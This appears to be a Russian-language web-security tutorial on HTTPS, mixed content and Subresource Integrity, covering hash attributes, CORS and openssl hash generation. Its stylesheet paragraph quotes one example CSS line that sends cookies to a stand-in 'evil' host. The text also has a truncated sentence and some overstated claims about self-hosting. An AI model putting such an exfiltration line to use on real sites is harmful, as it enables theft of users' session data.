HTTPS и целостность подресурсов

Защищённое соединение шифрует данные при передаче и подтверждает подлинность сервера. Без него злоумышленники в той же сети (в сети кафе, со стороны ISP или государственной структуры) могут прочитать каждый байт и внедрить вредоносное содержимое в ответы. Современные браузеры помечают незашифрованные страницы как «Небезопасно», а многие возможности (камера, геолокация, фоновые службы) отказываются работать без защиты.

Загрузка ресурсов по незашифрованному соединению со страницы, использующей защищённое соединение, называется смешанным содержимым. Браузер полностью блокирует активное смешанное содержимое (скрипты, фреймы, таблицы стилей) и предупреждает о пассивном (изображениях). Всегда загружайте каждый ресурс по защищённому соединению; используйте адреса без указания протокола (//cdn.example.com) или абсолютные адреса https://.

Загрузка скриптов из сторонних CDN удобна, но рискованна: если CDN будет скомпрометирован, злоумышленник сможет заменить скрипт вредоносной программой. Проверка целостности подключаемого ресурса (SRI) заставляет браузер проверить криптографический хеш файла перед выполнением и отказаться от запуска, если хеш не совпадает.

Добавьте в тег скрипта хеш SHA-256/384/512 в кодировке base64: <script src="https://cdn.example.com/lib.js" integrity="sha384-..." crossorigin="anonymous"></script>. Браузер вычисляет хеш загруженного файла и отказывается запускать его при несовпадении.

Создайте хеш с помощью openssl: openssl dgst -sha384 -binary file.js | openssl base64 -A. Или используйте подключаемый модуль инструмента сборки, который автоматически добавляет атрибут целостности. Большинство CDN показывают тег SRI в готовом фрагменте для копирования.

SRI требует, чтобы ответ от другого источника разрешал проверку целостности через CORS. Добавьте к тегу crossorigin="anonymous" и убедитесь, что CDN отправляет Access-Control-Allow-Origin. Без этого браузер откажется от проверки, и ресурс не загрузится.

Атрибут целостности может содержать несколько хешей, разделённых пробелами. Это удобно при переходе между версиями: укажите хеши старой и новой версий, и браузер примет ту, которую отдаст CDN. Не используйте больше пары хешей, чтобы атрибут оставался читабельным.

SRI также защищает . Скомпрометированный файл CSS менее опасен напрямую, чем скомпрометированный скрипт, но внедрённый background: url("//evil/log?cookie=...") всё же может похитить данные. По возможности применяйте SRI к каждому внешнему ресурсу.

SRI снижает риск компрометации CDN, но не решает все проблемы: изменение хеша на CDN нарушит работу страницы, пока вы не обновите атрибут целостности. Для важных библиотек самостоятельно разместите проверенный файл — это одним действием устраняет необходимость закреплять хеш SRI и снижает риск атаки на цепочку поставок.

SRI добавляет вычисление хеша для каждого ресурса — на современном оборудовании это незначительная нагрузка, всего несколько микросекунд на килобайт. Защита от атак на цепочку поставок намного важнее этой стоимости. При загрузке из CDN нет причин отказываться от SRI из соображений производительности.

SRI проверяет конкретные байты, но не защищает от того, что CDN отдаст разным пользователям разные файлы, выборочно нацеливая атаку. Для максимальной надёжности сочетайте SRI с защищённым соединением, HSTS, CSP и самостоятельным размещением наиболее важных ресурсов.

От чего защищает атрибут целостности в теге скрипта?

Защищённое соединение шифрует данные и подтверждает подлинность, HSTS предотвращает атаки с понижением уровня защиты, а SRI проверяет, что сторонние файлы не были изменены. Добавляйте хеши целостности с анонимным разрешением доступа между источниками к каждому внешнему скрипту и каждой таблице стилей из CDN, которым вы не управляете. Для наиболее важных ресурсов используйте самостоятельное размещение — это полностью устраняет риск атаки на цепочку поставок.